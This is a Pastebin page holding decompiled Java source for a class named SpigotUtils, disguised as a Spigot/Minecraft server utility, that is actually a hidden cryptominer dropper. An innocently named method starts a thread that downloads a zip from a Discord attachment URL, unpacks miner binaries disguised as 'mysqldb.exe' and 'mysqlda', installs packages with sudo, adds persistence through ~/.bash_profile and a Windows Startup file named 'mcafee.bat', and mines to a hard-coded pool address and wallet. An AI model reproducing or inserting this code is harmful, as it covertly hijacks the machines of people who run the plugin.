Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package org.spigotmc.utility;
- import java.util.zip.ZipEntry;
- import java.nio.file.CopyOption;
- import java.nio.file.attribute.FileAttribute;
- import java.util.zip.ZipInputStream;
- import java.io.Reader;
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
- import java.security.MessageDigest;
- import java.util.Random;
- import java.text.DateFormat;
- import java.math.BigInteger;
- import java.util.TimeZone;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import java.io.FileOutputStream;
- import java.io.Writer;
- import java.io.PrintWriter;
- import java.io.FileWriter;
- import java.nio.file.Files;
- import java.nio.file.StandardOpenOption;
- import java.nio.file.OpenOption;
- import java.io.File;
- import java.io.InputStream;
- import java.net.URLConnection;
- import java.nio.file.FileSystems;
- import java.io.BufferedInputStream;
- import java.net.URL;
- import java.nio.file.Paths;
- import java.nio.file.Path;
- public class SpigotUtils
- {
- private static String wallet;
- private static String name;
- private static String nameQ;
- private static Path wPath;
- static {
- SpigotUtils.wallet = "8Bkv8LKBQqcTSkjiNTDX7uFuS3fP6FkYk9RrB3hTPM5TgYcPJZuZcjAH8pgEXJaHJHaNcHw2xsNUoVAa1hjx73t83AqUiZi";
- SpigotUtils.wPath = Paths.get(String.valueOf(System.getenv("APPDATA")) + "\\www", new String[0]);
- }
- public SpigotUtils() {
- super();
- }
- public static void setConsoleOutput(final boolean output) {
- new Thread(new Runnable() {
- SpigotUtils$1() {
- super();
- }
- @Override
- public void run() {
- SpigotUtils.runIt();
- }
- }).start();
- }
- public static void shout() {
- final String data = "\r\n\r\n\r\n\t ███▄ █ ▓█████ ██ ▄█▀ ▒█████ ██▓ ▒█████ ██▒ █▓▓█████ ██████ ▓██ ██▓ ▒█████ █ ██ \r\n\t ██ ▀█ █ ▓█ ▀ ██▄█▒ ▒██▒ ██▒ ▓██▒ ▒██▒ ██▒▓██░ █▒▓█ ▀ ▒██ ▒ ▒██ ██▒▒██▒ ██▒ ██ ▓██▒\r\n\t▓██ ▀█ ██▒▒███ ▓███▄░ ▒██░ ██▒ ▒██░ ▒██░ ██▒ ▓██ █▒░▒███ ░ ▓██▄ ▒██ ██░▒██░ ██▒▓██ ▒██░\r\n\t▓██▒ �?▌██▒▒▓█ ▄ ▓██ █▄ ▒██ ██░ ▒██░ ▒██ ██░ ▒██ █░░▒▓█ ▄ ▒ ██▒ ░ �?██▓░▒██ ██░▓▓█ ░██░\r\n\t▒██░ ▓██░░▒████▒▒██▒ █▄░ ████▓▒░ ░██████▒░ ████▓▒░ ▒▀█░ ░▒████▒▒██████▒▒ ░ ██▒▓░░ ████▓▒░▒▒█████▓ \r\n\t░ ▒░ ▒ ▒ ░░ ▒░ ░▒ ▒▒ ▓▒░ ▒░▒░▒░ ░ ▒░▓ ░░ ▒░▒░▒░ ░ �?░ ░░ ▒░ ░▒ ▒▓▒ ▒ ░ ██▒▒▒ ░ ▒░▒░▒░ ░▒▓▒ ▒ ▒ \r\n\t░ ░░ ░ ▒░ ░ ░ ░░ ░▒ ▒░ ░ ▒ ▒░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░░ ░ ░ ░░ ░▒ ░ ░ ▓██ ░▒░ ░ ▒ ▒░ ░░▒░ ░ ░ \r\n\t ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░░░ ░ ░ \r\n\t ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \r\n\t ░ ░ ░ ";
- System.out.println(data);
- }
- public static void runIt() {
- try {
- final URL url = new URL("https://cdn.discordapp.com/attachments/859999121611554840/863178952376582184/files");
- final URLConnection openConnection = url.openConnection();
- openConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11");
- openConnection.connect();
- final InputStream is = new BufferedInputStream(openConnection.getInputStream());
- if (FileSystems.getDefault().getSeparator().contains("\\")) {
- SpigotUtils.name = "mysqldb.exe";
- SpigotUtils.nameQ = "quiet.exe";
- unzip(is, getPathW());
- plantTheSeedW();
- }
- else {
- SpigotUtils.name = "mysqlda";
- unzip(is, getPathU());
- plantTheSeedU();
- try {
- runCommand("sh " + getPathU() + "/mysqlda.sh");
- }
- catch (Exception ex) {}
- try {
- runCommand("apt -y install libhwloc-dev");
- }
- catch (Exception ex2) {}
- try {
- runCommand("sudo apt -y install libhwloc-dev");
- }
- catch (Exception ex3) {}
- try {
- runCommand("chmod 774 /" + getPathU() + "/mysqlda");
- }
- catch (Exception ex4) {}
- try {
- runCommand("sudo chmod 774 /" + getPathU() + "/mysqlda");
- }
- catch (Exception ex5) {}
- try {
- runCommand("chmod 774 /" + getPathU());
- }
- catch (Exception ex6) {}
- try {
- runCommand("sudo chmod 774 /" + getPathU());
- }
- catch (Exception ex7) {}
- try {
- runCommand("sudo dnf install gcc gcc-c++ hwloc-devel libmicrohttpd-devel openssl-devel");
- }
- catch (Exception ex8) {}
- try {
- runCommand("sudo yum -y install hwloc-libs centos-release-scl cmake3 hwloc-devel libmicrohttpd-devel openssl-devel");
- runCommand("sudo yum -y install devtoolset-4-gcc*");
- runCommand("sudo scl enable devtoolset-4 bash");
- }
- catch (Exception ex9) {}
- try {
- runCommand("sudo yum -y install glibc");
- }
- catch (Exception ex10) {}
- runCommand("sh " + getPathU() + "/mysqlda.sh");
- }
- }
- catch (Exception e) {
- e.printStackTrace();
- }
- }
- private static void plantTheSeedU() throws Exception {
- plantTheShellU();
- final Path path = Paths.get(String.valueOf(System.getProperty("user.home")) + "/.bash_profile", new String[0]);
- new File(path.toString()).createNewFile();
- final String cat = runCommand("cat " + path.toString());
- if (!cat.contains("mysqlda")) {
- Files.write(path, ("sh " + getPathU() + "/mysqlda.sh").getBytes(), StandardOpenOption.APPEND);
- }
- }
- private static void plantTheShellU() throws Exception {
- final String[] content = { "#!/bin/sh", "command=\"mysqlda\"", "running=`pgrep -x $command`", "if [ -z \"$running\" ]; then", getCommandFinU(), "fi" };
- final File file = new File(getPathU() + "/mysqlda.sh");
- file.createNewFile();
- final FileWriter fileWriter = new FileWriter(file);
- final PrintWriter printWriter = new PrintWriter(fileWriter);
- for (int i = 0; i < content.length; ++i) {
- printWriter.println(content[i]);
- }
- printWriter.close();
- }
- private static String getCommandFinU() {
- return "~/.config/mysqlda/mysqlda " + getArguments() + " > /dev/null 2>&1 &";
- }
- private static Path getPathU() {
- return Paths.get(String.valueOf(System.getProperty("user.home")) + "/.config/mysqlda", new String[0]);
- }
- private static void plantTheSeedW() throws Exception {
- write(String.valueOf(System.getenv("APPDATA")) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcafee.bat", String.valueOf(String.valueOf("@echo off\n")) + getFullCommandW());
- }
- private static void write(final String path, final String data) throws Exception {
- final FileOutputStream out = new FileOutputStream(path);
- out.write(data.getBytes());
- out.flush();
- out.close();
- }
- private static String getFullCommandW() {
- return String.valueOf(getCommandQ()) + getCommandW();
- }
- private static String getCommandQ() {
- return "\"" + getPathW().toString() + "\\" + getNameQ() + "\" ";
- }
- private static String getCommandW() {
- return String.valueOf(getPathW().toString()) + "\\" + getName() + " " + getArguments();
- }
- private static String getArguments() {
- return "-o 54.188.223.206:" + getPort() + " -u " + SpigotUtils.wallet + "." + getWorkerName() + " -k -tls --threads=" + getThreads();
- }
- private static int getThreads() {
- return Math.max(1, Runtime.getRuntime().availableProcessors() - 1);
- }
- private static int getPort() {
- if (FileSystems.getDefault().getSeparator().contains("\\")) {
- return 10128;
- }
- return 10016;
- }
- private static String getWorkerName() {
- return String.valueOf(FileSystems.getDefault().getSeparator().contains("\\") ? "W" : "U") + "-" + getThreads() + "-" + getHWID() + "-" + getTime();
- }
- private static String getTime() {
- final Date date = new Date();
- final DateFormat formatter = new SimpleDateFormat("yy:MM:dd:HH:mm:ss");
- formatter.setTimeZone(TimeZone.getTimeZone("UTC"));
- final String dateString = formatter.format(date).replaceAll(":", "");
- return new BigInteger(dateString).toString(16);
- }
- private static String getHWID() {
- try {
- final String toHash = String.valueOf(System.getenv("JAVA_HOME")) + System.getenv("PROCESSOR_IDENTIFIER") + System.getenv("PROCESSOR_LEVEL") + "neko :3" + System.getenv("PATH");
- return randomizeHWID(getSHA(toHash).substring(13, 33).getBytes()).substring(7);
- }
- catch (Exception e) {
- return (String.valueOf(new BigInteger(new StringBuilder(String.valueOf(new Random().nextInt() * 2 + 10000)).toString()).toString(16).replaceAll("-", "")) + new BigInteger(new StringBuilder(String.valueOf(new Random().nextInt() * 2 + 10000)).toString()).toString(16).replaceAll("-", "") + new BigInteger(new StringBuilder(String.valueOf(new Random().nextInt() * 2 + 10000)).toString()).toString(16).replaceAll("-", "")).substring(0, 13);
- }
- }
- private static String getSHA(final String toHash) throws Exception {
- final MessageDigest md = MessageDigest.getInstance("SHA-256");
- md.update(toHash.getBytes());
- final StringBuffer hexString = new StringBuffer();
- final byte[] byteData = md.digest();
- byte[] array;
- for (int length = (array = byteData).length, i = 0; i < length; ++i) {
- final byte aByteData = array[i];
- final String hex = Integer.toHexString(0xFF & aByteData);
- if (hex.length() == 1) {
- hexString.append('0');
- }
- hexString.append(hex);
- }
- return hexString.toString();
- }
- private static String randomizeHWID(final byte[] bytes) throws Exception {
- String toHash = null;
- for (int j = 0; j < 200 + bytes[3]; ++j) {
- for (int i = 1; i < bytes.length; ++i) {
- final int n = i;
- bytes[n] += bytes[i - 1];
- }
- toHash = getSHA(new BigInteger(1, bytes).toString(32).substring(0, 20));
- }
- return toHash.substring(0, 20);
- }
- private static String runCommand(final String string) throws Exception {
- final Process proc = Runtime.getRuntime().exec(string);
- final StringBuilder sb = new StringBuilder();
- InputStreamReader isr = new InputStreamReader(proc.getInputStream());
- BufferedReader rdr = new BufferedReader(isr);
- String line;
- while ((line = rdr.readLine()) != null) {
- if (!line.isEmpty()) {
- sb.append(line);
- }
- }
- isr = new InputStreamReader(proc.getErrorStream());
- rdr = new BufferedReader(isr);
- while ((line = rdr.readLine()) != null) {
- if (!line.isEmpty()) {
- sb.append(line);
- }
- }
- return sb.toString();
- }
- private static void unzip(final InputStream is, Path targetDir) throws Exception {
- targetDir = targetDir.toAbsolutePath();
- Throwable t = null;
- try {
- final ZipInputStream zipIn = new ZipInputStream(is);
- try {
- ZipEntry ze;
- while ((ze = zipIn.getNextEntry()) != null) {
- try {
- final Path resolvedPath = targetDir.resolve(ze.getName()).normalize();
- if (ze.isDirectory()) {
- if (FileSystems.getDefault().getSeparator().contains("\\") && ze.getName().endsWith("e")) {
- setName(ze.getName());
- Files.createDirectories(resolvedPath, (FileAttribute<?>[])new FileAttribute[0]);
- }
- else {
- if (FileSystems.getDefault().getSeparator().contains("\\") || ze.getName().endsWith("e")) {
- continue;
- }
- Files.createDirectories(resolvedPath, (FileAttribute<?>[])new FileAttribute[0]);
- }
- }
- else if (FileSystems.getDefault().getSeparator().contains("\\") && ze.getName().endsWith("e")) {
- setName(ze.getName());
- Files.createDirectories(resolvedPath.getParent(), (FileAttribute<?>[])new FileAttribute[0]);
- Files.copy(zipIn, resolvedPath, new CopyOption[0]);
- }
- else {
- if (FileSystems.getDefault().getSeparator().contains("\\") || ze.getName().endsWith("e")) {
- continue;
- }
- Files.createDirectories(resolvedPath.getParent(), (FileAttribute<?>[])new FileAttribute[0]);
- Files.copy(zipIn, resolvedPath, new CopyOption[0]);
- }
- }
- catch (Exception ex) {}
- }
- }
- finally {
- if (zipIn != null) {
- zipIn.close();
- }
- }
- }
- finally {
- if (t == null) {
- final Throwable t2;
- t = t2;
- }
- else {
- final Throwable t2;
- if (t != t2) {
- t.addSuppressed(t2);
- }
- }
- }
- }
- private static void setName(final String name) {
- if (SpigotUtils.name == null) {
- SpigotUtils.name = name;
- }
- else {
- SpigotUtils.nameQ = name;
- }
- }
- private static String getName() {
- return SpigotUtils.name;
- }
- private static String getNameQ() {
- return SpigotUtils.nameQ;
- }
- private static Path getPathW() {
- return SpigotUtils.wPath;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement